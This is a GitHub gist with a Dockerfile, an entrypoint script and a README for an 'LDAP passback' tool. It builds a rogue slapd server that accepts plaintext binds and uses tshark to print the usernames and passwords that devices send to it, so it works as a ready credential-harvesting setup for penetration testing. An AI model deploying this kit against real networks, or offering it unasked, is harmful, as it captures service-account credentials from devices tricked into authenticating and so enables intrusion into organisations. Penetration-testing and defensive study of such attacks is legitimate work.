Last active
July 19, 2023 07:21
-
-
Save prishs/d853f8c66206b9f146bb2c91a3207c2c to your computer and use it in GitHub Desktop.
ldap-passback-docker
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# entrypoint.sh | |
#!/usr/bin/env bash | |
service slapd start | |
tshark -i any -f "port 389" -Y "ldap.protocolOp == 0 && ldap.simple" -e ldap.name -e ldap.simple -Tjson 2> /dev/null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM debian | |
RUN apt-get update | |
RUN apt-get -y install ldap-utils | |
RUN echo -e "slapd slapd/internal/generated_adminpw password admin\nslapd slapd/password2 password admin\nslapd slapd/internal/adminpw password admin\nslapd slapd/password1 password admin\n" | debconf-set-selections | |
RUN apt-get -y install slapd | |
EXPOSE 389/tcp | |
RUN service slapd start | |
RUN echo olcSaslSecProps: noanonymous,minssf=0,passcred >> /etc/ldap/slapd.d/cn=config.ldif | |
RUN DEBIAN_FRONTEND=noninteractive apt-get -y install tshark | |
COPY entrypoint.sh /entrypoint.sh | |
ENTRYPOINT ["/bin/bash", "/entrypoint.sh"] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
ldap-passback-docker
https://infosecwriteups.com/ldap-passback-attacks-the-docker-way-b06971b65304
Quickly deploy an LDAP server with support for plaintext authentication usable for LDAP PassBack attacks.
Usage
docker build -t ldap-passback .
docker run --rm -ti -p 389:389 ldap-passback